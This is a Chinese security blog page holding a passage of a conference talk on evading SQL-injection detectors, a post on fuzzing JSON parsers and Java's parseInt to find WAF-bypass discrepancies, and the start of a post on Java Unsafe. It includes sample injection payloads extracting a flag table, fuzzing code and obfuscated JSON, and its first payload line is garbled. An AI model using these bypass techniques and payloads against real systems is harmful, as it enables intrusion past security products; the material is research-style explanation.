<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">select</span> last_name <span class="keyword">from</span> students <span class="keyword">where</span> student_id <span class="operator">=</span> <span class="string">'1'</span> <span class="keyword">union</span> <span class="keyword">select</span> concat <span class="number">5.</span>e(<span class="number">1.</span>e(flag <span class="number">10.2</span>e)<span class="number">3.</span>e,<span class="string">'***'</span><span class="number">6.</span>e) <span class="keyword">from</span> test <span class="number">1.</span>e.flag<span class="comment">--</span></span><br></pre></td></tr></table></figure>
<h3 id="注释欺骗的艺术"><a href="#注释欺骗的艺术" class="headerlink" title="注释欺骗的艺术"></a>注释欺骗的艺术</h3><h4 id="原理-1"><a href="#原理-1" class="headerlink" title="原理"></a>原理</h4><p>大部分语义分析往往都是能够识别出注释，并在分析时省略注释后面语句的分析，从而实现更好的性能，那么如果攻击者能够成功构造出语义分析引擎认为是注释而实际数据库并不认为是注释的特殊关键字，再把攻击的Payload隐藏在注释之后，就能成功欺骗语义分析，光明正大的进行SQL注入。</p>
<h4 id="万能注释"><a href="#万能注释" class="headerlink" title="万能注释 //"></a>万能注释 //</h4><p>存在不少语义分析引擎，在解析数据流的时候，会将 // 作为注释处理，忽视后面的内容，而大部分主流数据库，并不将 // 作为注释。</p>
<img src="/2023/04/30/sql_tricks/9.png" class="" title="img9">
<h4 id="注释结束符的差别"><a href="#注释结束符的差别" class="headerlink" title="注释结束符的差别"></a>注释结束符的差别</h4><p>语义分析引擎往往认为 \r \n 都是注释的结束符，但很多数据库(MYSQL\ORACLE等)只认为 \n 是注释结束符，利用注释结束符理解的差异可以构造绕过</p>
<img src="/2023/04/30/sql_tricks/10.png" class="" title="img10">
<h4 id="mybatis眼中的"><a href="#mybatis眼中的" class="headerlink" title="mybatis眼中的#"></a>mybatis眼中的#</h4><p>JAVA的mybatis框架会对用户输入的参数做一些特殊的处理，尤其针对形如 #{param} 这种写法的数据的额外处理，会对语义分析造成极强的欺骗性</p>
<img src="/2023/04/30/sql_tricks/11.png" class="" title="img11">
<img src="/2023/04/30/sql_tricks/12.png" class="" title="img12">
<h3 id="巧用特殊关键字"><a href="#巧用特殊关键字" class="headerlink" title="巧用特殊关键字"></a>巧用特殊关键字</h3><h4 id="原理-2"><a href="#原理-2" class="headerlink" title="原理"></a>原理</h4><p>除去让很多开发、安全人员熟知的关键字外，不少数据库也拥有一些较为冷门的关键字，这些关键字在语义分析或词法分析时很可能未能兼容，从而导致防护失效。因此，寻找冷门且有效的关键字也是绕过语义分析引擎的一种有效手段，尤其是针对新版本的数据库，往往会出现一些新的关键字，这些关键字极有可能未被兼容。</p>
<h4 id="handle替代select"><a href="#handle替代select" class="headerlink" title="handle替代select"></a>handle替代select</h4><p>MySQL除了可以使用 select 查询表中的数据，也可使用 handler 语句，这条语句使我们能够一行一行的浏览一个表中的数据。它是MySQL专用的语句，并没有包含到SQL标准中。handler语句由于可以查询数据，因此也是SQL注入中一个十分方便且鲜为人知的关键字。</p>
<img src="/2023/04/30/sql_tricks/7.png" class="" title="img7">
<h4 id="MEMBER-OF函数"><a href="#MEMBER-OF函数" class="headerlink" title="MEMBER OF函数"></a>MEMBER OF函数</h4><p>MEMBER OF()是一个MySQL8高版本特性，官方定义它是一个函数，但是这个函数的函数名中间还包含空格，十分具有欺骗性，虽然它对于注出数据并没有什么帮助，但是放在注入Payload的前段以促使语义分析引擎解析失败报错却是一个很不错的选择。</p>
<figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> last_name <span class="keyword">FROM</span> students <span class="keyword">WHERE</span> student_id <span class="operator">=</span> <span class="string">'1'</span> <span class="keyword">and</span> (<span class="keyword">select</span> substr((<span class="keyword">SELECT</span> flag <span class="keyword">from</span> flag), <span class="number">1</span>, <span class="number">1</span>) <span class="keyword">MEMBER</span> <span class="keyword">OF</span>(<span class="string">'["a","b","t"]'</span>))<span class="operator">=</span><span class="number">1</span>;</span><br></pre></td></tr></table></figure>
<h2 id="附录"><a href="#附录" class="headerlink" title="附录"></a>附录</h2><p>该篇文章内容为笔者在2023年4月1日阿里先知白帽大会上的分享议题PPT《让SQL注入无所遁形》的分享。内容中删去了防御者视角下的探索，主要展示攻击者如何去绕过使用语义分析算法的安全设备，具体内容详见<a target="_blank" rel="noopener" href="https://github.com/GlassyAmadeus/glassyamadeus.github.io/blob/master/pdf/sql_tricks.pdf">PPT</a>。</p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="https://glassyamadeus.github.io/2022/03/11/fuzz/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/glassyAmadeus.jpeg">
<meta itemprop="name" content="Glassy@Amadeus">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="Glassy@Amadeus's Zone">
<meta itemprop="description" content="Security&Development.">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | Glassy@Amadeus's Zone">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2022/03/11/fuzz/" class="post-title-link" itemprop="url">攻防tricks-通过兼容性差异突破安全防护</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2022-03-11 15:53:04" itemprop="dateCreated datePublished" datetime="2022-03-11T15:53:04+08:00">2022-03-11</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2024-09-27 14:42:57" itemprop="dateModified" datetime="2024-09-27T14:42:57+08:00">2024-09-27</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">In</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/%E5%BA%94%E7%94%A8%E5%AE%89%E5%85%A8/" itemprop="url" rel="index"><span itemprop="name">应用安全</span></a>
</span>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h2 id="引言"><a href="#引言" class="headerlink" title="引言"></a>引言</h2><p>安全防护产品在进行防护的时候是需要对流量中的数据进行处理的，同样，被攻击的应用也需要处理这些数据以保证业务的正常进行，然而在很多情况下，安全产品处理数据流的框架和应用处理数据流的框架往往不同，在针对常规数据方面，当然不会出现问题，然而一旦被防护应用的数据处理框架的兼容性大于安全产品数据处理框架的兼容性，那么就会出现这么一种情形：攻击者提交的数据被应用正常解析，而安全产品解析失败，这样恶意的流量就会成功绕过安全产品进入被攻击的应用。因此寻求目标机器与安全防护产品在数据处理能力上的兼容性差异便会成为突破安全产品的一种卓尔有效的手段。</p>
<h2 id="实战讲解"><a href="#实战讲解" class="headerlink" title="实战讲解"></a>实战讲解</h2><h3 id="基于json解析兼容性的示例"><a href="#基于json解析兼容性的示例" class="headerlink" title="基于json解析兼容性的示例"></a>基于json解析兼容性的示例</h3><p>以Java为例，现阶段市面上主流的处理json字符串的框架有fastjson、gson、jackson三种。常见的WAF为了保证对于各种语言开发应用的兼容性，一般会使用自写的json解析器。由于笔者在进行fuzz的过程中发现，gson和jackson在兼容性方面几乎没有任何差异，猜测这两种框架对于json数据的兼容应该代表着主流json解析器的能力，而fastjson在我的印象中一向拥有更强大的兼容性，所以产生想法，是否可以在一段正常的json数据中各个位置插入不同的字符使得gson(它代表着主流gson解析器)进行json解析时候报错，而fastjson能够正常解析，那么在对应用进行攻击的时候，一旦发现应用使用了fastjson框架，便能构造出WAF认不出来但应用可以认出来的数据，从而突破WAF的防御，代码思路如下</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">1、写一个正常的json字符串。</span><br><span class="line">2、在它的各种位置尝试插入 1-65535 中的每个字符，生产一个非常规json。</span><br><span class="line">3、将非常规json交给gson处理，报错。</span><br><span class="line">4、交给fastjson处理，正常，将该json记录下来。</span><br></pre></td></tr></table></figure>
<p>核心代码如下</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">jsonFuzz</span><span class="params">(String demo)</span> </span>{</span><br><span class="line"> CheckFunc func = <span class="keyword">new</span> CheckFunc() {</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">check</span><span class="params">(String origin, String fuzzData, <span class="keyword">char</span> fuzzChar)</span> </span>{</span><br><span class="line"> <span class="comment">//由于打不风安全产品都会对字符串做trim处理，因此，如果fuzz的字符和原字符trim结果相同，基本没什么意义</span></span><br><span class="line"> <span class="keyword">if</span> (!origin.trim().equals(fuzzData.trim())) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Entity entity = JSONObject.parseObject(fuzzData, Entity.class);</span><br><span class="line"> <span class="comment">//********该测试用例中主要用来发掘fastjson兼容而gson不兼容的特性，但有些安全产品使用自研json解析器，json兼容性更差，则可以注释掉下面代码，直接fuzz出fastjson的全部特性</span></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Gson gson = <span class="keyword">new</span> Gson();</span><br><span class="line"> Entity gsonEntity = gson.fromJson(fuzzData, Entity.class);</span><br><span class="line"> <span class="keyword">if</span> (gsonEntity.toString().equals(<span class="string">"Entity{num=666, content='test'}"</span>)) {</span><br><span class="line"> <span class="comment">//如果gson能解了，就代表这个特性gson也是可以兼容的，说明这个fuzzData是无效数据，因为大家都能解，安全产品就具备对这种payload的防御能力了，所以直接return</span></span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (Exception ignored) {</span><br><span class="line"> <span class="comment">//如果gson报错了，我们直接忽略它，让程序继续往下走，因为我们期待的数据就是fastjson能解，而gson解不出来的数据</span></span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//**************************gson-end***************</span></span><br><span class="line"> <span class="keyword">if</span> (entity.toString().equals(<span class="string">"Entity{num=666, content='test'}"</span>)) {</span><br><span class="line"> System.out.println(<span class="string">"charNum: "</span> + (<span class="keyword">int</span>) fuzzChar + <span class="string">"|char: "</span> + fuzzChar + <span class="string">"|content: "</span> + fuzzData);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (Exception exception) {</span><br><span class="line"> <span class="keyword">if</span> (exception <span class="keyword">instanceof</span> JSONException) {</span><br><span class="line"></span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> exception.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> };</span><br><span class="line"> <span class="keyword">int</span> length = demo.length();</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < length; i++) {</span><br><span class="line"> System.out.println(<span class="string">"*************************插入字符位置："</span> + i + <span class="string">"*************************"</span>);</span><br><span class="line"> Utils.doFuzz(demo, i, HandleType.INSERT, func);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < length; i++) {</span><br><span class="line"> System.out.println(<span class="string">"*************************替换字符位置："</span> + i + <span class="string">"*************************"</span>);</span><br><span class="line"> Utils.doFuzz(demo, i, HandleType.REPLACE, func);</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>
<p>最终得出结果很多，欢迎大家去笔者github中拉取代码跑一下看一看，这里举出比较有代表性的几种写法，</p>
<figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">*************************插入字符位置：<span class="number">1</span>*************************</span><br><span class="line">charNum: <span class="number">12</span>|char: |content: {(这里有一个ascii为12的字符)<span class="attr">"num"</span>:<span class="number">666</span>,<span class="attr">"content"</span>:<span class="string">"test"</span>}</span><br><span class="line">charNum: <span class="number">44</span>|char: ,|content: {,<span class="attr">"num"</span>:<span class="number">666</span>,<span class="attr">"content"</span>:<span class="string">"test"</span>}</span><br><span class="line">*************************插入字符位置：<span class="number">10</span>*************************</span><br><span class="line">charNum: <span class="number">40</span>|char: (|content: {<span class="attr">"num"</span>:<span class="number">666</span>(,<span class="attr">"content"</span>:<span class="string">"test"</span>}</span><br><span class="line">charNum: <span class="number">41</span>|char: )|content: {<span class="attr">"num"</span>:<span class="number">666</span>),<span class="attr">"content"</span>:<span class="string">"test"</span>}</span><br><span class="line">charNum: <span class="number">43</span>|char: +|content: {<span class="attr">"num"</span>:<span class="number">666</span>+,<span class="attr">"content"</span>:<span class="string">"test"</span>}</span><br><span class="line">charNum: <span class="number">44</span>|char: ,|content: {<span class="attr">"num"</span>:<span class="number">666</span>,,<span class="attr">"content"</span>:<span class="string">"test"</span>}</span><br><span class="line">charNum: <span class="number">45</span>|char: -|content: {<span class="attr">"num"</span>:<span class="number">666</span>-,<span class="attr">"content"</span>:<span class="string">"test"</span>}</span><br><span class="line">charNum: <span class="number">59</span>|char: ;|content: {<span class="attr">"num"</span>:<span class="number">666</span>;,<span class="attr">"content"</span>:<span class="string">"test"</span>}</span><br><span class="line">charNum: <span class="number">66</span>|char: B|content: {<span class="attr">"num"</span>:<span class="number">666</span>B,<span class="attr">"content"</span>:<span class="string">"test"</span>}</span><br><span class="line">charNum: <span class="number">76</span>|char: L|content: {<span class="attr">"num"</span>:<span class="number">666</span>L,<span class="attr">"content"</span>:<span class="string">"test"</span>}</span><br><span class="line">charNum: <span class="number">83</span>|char: S|content: {<span class="attr">"num"</span>:<span class="number">666</span>S,<span class="attr">"content"</span>:<span class="string">"test"</span>}</span><br><span class="line">charNum: <span class="number">91</span>|char: [|content: {<span class="attr">"num"</span>:<span class="number">666</span>[,<span class="string">"content"</span>:<span class="string">"test"</span>}</span><br><span class="line">charNum: <span class="number">93</span>|char: ]|content: {<span class="attr">"num"</span>:<span class="number">666</span>],<span class="attr">"content"</span>:<span class="string">"test"</span>}</span><br><span class="line">charNum: <span class="number">123</span>|char: {|content: {<span class="attr">"num"</span>:<span class="number">666</span>{,<span class="attr">"content"</span>:<span class="string">"test"</span>}</span><br></pre></td></tr></table></figure>
<p>通过以上特性去构造sql注入的payload，很多安全产品都无法成功解析数据，取得value，从而失去了sql注入的检测能力。（考虑到不少安全产品对于json采用流式解析，因此导致json异常的特殊字符一定要放在注入payload之前）</p>
<p>结论：Gson相对而言是一种功能较为强大的json解析器了，json兼容性其实算是比较优秀，在笔者的测试过程中也发现存在不少json是gson能解而市面上的WAF解不了了，大家可以去探索试验一下。</p>
<h3 id="基于数字字符兼容性的示例"><a href="#基于数字字符兼容性的示例" class="headerlink" title="基于数字字符兼容性的示例"></a>基于数字字符兼容性的示例</h3><p>这个特性同样来自于Java，并且是一个大家耳熟能详的函数，</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Integer.parseInt(str)</span><br></pre></td></tr></table></figure>
<p>笔者在对该函数进行fuzz的过程中，发现Java的parseInt是支持异形字的，测试代码如下，</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">getParseIntFuzzResult</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">char</span> c = <span class="number">0</span>; c < <span class="number">65535</span>; c++) {</span><br><span class="line"> String str = Character.toString(c);</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> num : numList) {</span><br><span class="line"> <span class="keyword">if</span> (Integer.parseInt(str) == num && !String.valueOf(num).equals(str)) {</span><br><span class="line"> System.out.println(num + <span class="string">":->charNum: "</span> + (<span class="keyword">int</span>) c + <span class="string">"|char: "</span> + str);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (Exception ignored) {</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>测试结果如下(结果太长，同样只截取部分)</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">0:->charNum: 1632|char: ٠</span><br><span class="line">1:->charNum: 1633|char: ١</span><br><span class="line">2:->charNum: 1634|char: ٢</span><br><span class="line">3:->charNum: 1635|char: ٣</span><br><span class="line">4:->charNum: 1636|char: ٤</span><br><span class="line">5:->charNum: 1637|char: ٥</span><br><span class="line">6:->charNum: 1638|char: ٦</span><br><span class="line">7:->charNum: 1639|char: ٧</span><br><span class="line">8:->charNum: 1640|char: ٨</span><br><span class="line">9:->charNum: 1641|char: ٩</span><br><span class="line">0:->charNum: 1776|char: ۰</span><br><span class="line">1:->charNum: 1777|char: ۱</span><br><span class="line">2:->charNum: 1778|char: ۲</span><br><span class="line">3:->charNum: 1779|char: ۳</span><br><span class="line">4:->charNum: 1780|char: ۴</span><br><span class="line">5:->charNum: 1781|char: ۵</span><br><span class="line">6:->charNum: 1782|char: ۶</span><br><span class="line">7:->charNum: 1783|char: ۷</span><br><span class="line">8:->charNum: 1784|char: ۸</span><br><span class="line">9:->charNum: 1785|char: ۹</span><br></pre></td></tr></table></figure>
<p>那么这个场景在哪里应用呢，同样是fastJson，审计fastjson的源码，会发现它支持unicode编码，并且在处理unicode编码的使用用到了Integer.parseInt</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">代码位置：com.alibaba.fastjson.parser.JSONLexerBase</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> <span class="string">'u'</span>:</span><br><span class="line"> <span class="keyword">char</span> c1 = <span class="keyword">this</span>.next();</span><br><span class="line"> <span class="keyword">char</span> c2 = <span class="keyword">this</span>.next();</span><br><span class="line"> <span class="keyword">char</span> c3 = <span class="keyword">this</span>.next();</span><br><span class="line"> <span class="keyword">char</span> c4 = <span class="keyword">this</span>.next();</span><br><span class="line"> <span class="keyword">int</span> val = Integer.parseInt(<span class="keyword">new</span> String(<span class="keyword">new</span> <span class="keyword">char</span>[]{c1, c2, c3, c4}), <span class="number">16</span>);</span><br><span class="line"> hash = <span class="number">31</span> * hash + val;</span><br><span class="line"> <span class="keyword">this</span>.putChar((<span class="keyword">char</span>)val);</span><br><span class="line"> <span class="keyword">break</span>;</span><br></pre></td></tr></table></figure>
<p>我们取一条最常见的json字符串，看一看它的变形能到什么程度，</p>
<figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//原始json</span></span><br><span class="line">{<span class="attr">"content"</span>:<span class="string">"this is glassy"</span>,<span class="attr">"num"</span>:<span class="number">1</span>}</span><br><span class="line"><span class="comment">//编码变形json</span></span><br><span class="line">{<span class="attr">"\u0063\u006f\u006e\u0074\u0065\u006e\u0074"</span>:<span class="string">"\x74\x68\x69\x73\x20\x69\x73\x20\x67\x6c\x61\x73\x73\x79"</span>,<span class="attr">"\x6e\x75\x6d"</span>:<span class="number">1</span>}</span><br><span class="line"><span class="comment">//编码+异形字相结合的变形json</span></span><br><span class="line">{<span class="attr">"\u꣐൦꤆३\u᠐꤀੬f\u꧐໐೬e\u᧐០၇᠔\u᥆໐᮶᠕\u০꩐᮶e\u᮰૦୭꯴"</span>:<span class="string">"\u౦௦᮷౪\u୦꣐᠖᪈\u꘠૦੬꘩\u૦೦༧୩\u०꩐꤂꤀\u༠᭐᭖᪉\u᪀۰೭꣓\u۰᧐᥈౦\u᠐၀᱆൭\u᥆၀௬c\u꯰꘠៦᪑\u๐᪐႗౩\u੦᥆۷୩\u०੦߇᧙"</span>,<span class="attr">"\u᱀٠۶e\u०᱀၇౫\u᠐੦꧖d"</span>:<span class="number">1</span>}</span><br></pre></td></tr></table></figure>
<p>同样通过异形字的变形，无论在反序列的的利用上还是sql注入的利用上绕过安全产品都可以取得一个比较不错的效果。</p>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>通过兼容性突破安全产品的思路和场景当然远不止这些，我相信在类似于xml解析中可能也会存在类似问题，文章权当是抛砖引玉引出一种思路，欢迎优秀的白帽子们深入探索，末尾给出本次试验中的<a target="_blank" rel="noopener" href="https://github.com/GlassyAmadeus/FuzzProject/tree/main">项目代码</a>方便各位调试，查看结果。</p>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
</div>
<div class="post-block">
<article itemscope itemtype="http://schema.org/Article" class="post-content" lang="">
<link itemprop="mainEntityOfPage" href="https://glassyamadeus.github.io/2021/12/09/unsafe/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/glassyAmadeus.jpeg">
<meta itemprop="name" content="Glassy@Amadeus">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="Glassy@Amadeus's Zone">
<meta itemprop="description" content="Security&Development.">
</span>
<span hidden itemprop="post" itemscope itemtype="http://schema.org/CreativeWork">
<meta itemprop="name" content="undefined | Glassy@Amadeus's Zone">
<meta itemprop="description" content="">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2021/12/09/unsafe/" class="post-title-link" itemprop="url">内存级别攻防利器-UnSafe的各种利用姿势</a>
</h2>
<div class="post-meta-container">
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">Posted on</span>
<time title="Created: 2021-12-09 15:53:04" itemprop="dateCreated datePublished" datetime="2021-12-09T15:53:04+08:00">2021-12-09</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">Edited on</span>
<time title="Modified: 2024-09-27 14:42:57" itemprop="dateModified" datetime="2024-09-27T14:42:57+08:00">2024-09-27</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">In</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/%E5%BA%94%E7%94%A8%E5%AE%89%E5%85%A8/" itemprop="url" rel="index"><span itemprop="name">应用安全</span></a>
</span>
</span>
</div>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<h2 id="UnSafe简介"><a href="#UnSafe简介" class="headerlink" title="UnSafe简介"></a>UnSafe简介</h2><h3 id="基础概念"><a href="#基础概念" class="headerlink" title="基础概念"></a>基础概念</h3><p>java和C语言相比有一个很大的区别，便是java没有指针，无需进行内存空间的操作（其中包含了内存的分配、内存的回收等等），这样大大简化了Java语言编写的难度，但与此同时，也导致Java语言失去了很多的灵活性。而UnSafe类的出现，便是为了弥补这种便利性的缺失，使Java也具备内存管理能力，但一旦操作不当，很容易造成内存泄漏等问题，这也是这个class给定义为UnSafe的原因。</p>
<h3 id="关键API"><a href="#关键API" class="headerlink" title="关键API"></a>关键API</h3><p>下面给出的是笔者觉得比较好用的利用的API。</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//将引用值存储到给定的Java变量中，根据变量的类型不同还有putBoolean、putInt等等</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">native</span> <span class="keyword">void</span> <span class="title">putObject</span><span class="params">(Object o, <span class="keyword">long</span> offset, Object x)</span></span>;</span><br><span class="line"><span class="comment">//返回给定的非静态属性在它的类的存储分配中的位置，往往和putXXX一起使用</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">native</span> <span class="keyword">long</span> <span class="title">objectFieldOffset</span><span class="params">(Field f)</span></span>;</span><br><span class="line"><span class="comment">//返回给定的静态属性在它的类的存储分配中的位置，往往和putXXX一起使用</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">native</span> <span class="keyword">long</span> <span class="title">staticFieldOffset</span><span class="params">(Field f)</span></span>;</span><br><span class="line"><span class="comment">//生产VM Anonymous Class，注意这个java中常说的匿名类并不是同一概念，该方法的出现是为了为java提供动态编译特性，在Lambda表达式代码中使用较多，由该函数生产的Class有一个很重要的特性：这个类被创建之后并不会丢到上SystemDictonary里，也就是说我们通过正常的类查找，比如Class.forName等api是无法去查到这个类是否被定义过的。</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> Class<?> defineAnonymousClass(Class<?> hostClass, <span class="keyword">byte</span>[] data, Object[] cpPatches);</span><br><span class="line"><span class="comment">//通过Class对象创建一个类的实例，不需要调用其构造函数、初始化代码、JVM安全检查等等。同时，它抑制修饰符检测，也就是即使构造器是private修饰的也能通过此方法实例化。</span></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">native</span> Object <span class="title">allocateInstance</span><span class="params">(Class<?> cls)</span> <span class="keyword">throws</span> InstantiationException</span>;</span><br></pre></td></tr></table></figure>
<h3 id="如何获取UnSafe"><a href="#如何获取UnSafe" class="headerlink" title="如何获取UnSafe"></a>如何获取UnSafe</h3><p>Unsafe类使用了单例模式，需要通过一个静态方法getUnsafe()来获取。但Unsafe类做了限制，如果是普通的调用的话，它会抛出一个SecurityException异常；只有由主类加载器加载的类才能调用这个方法。</p>
<p>目前大部分UnSafe的使用者都会使用反射的方式来获取UnSafe的实例，代码如下：</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">static</span> Unsafe <span class="title">getUnsafe</span><span class="params">()</span> </span>{</span><br><span class="line"> Unsafe unsafe = <span class="keyword">null</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Field field = Unsafe.class.getDeclaredField(<span class="string">"theUnsafe"</span>);</span><br><span class="line"> field.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> unsafe = (Unsafe) field.get(<span class="keyword">null</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> AssertionError(e);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> unsafe;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure>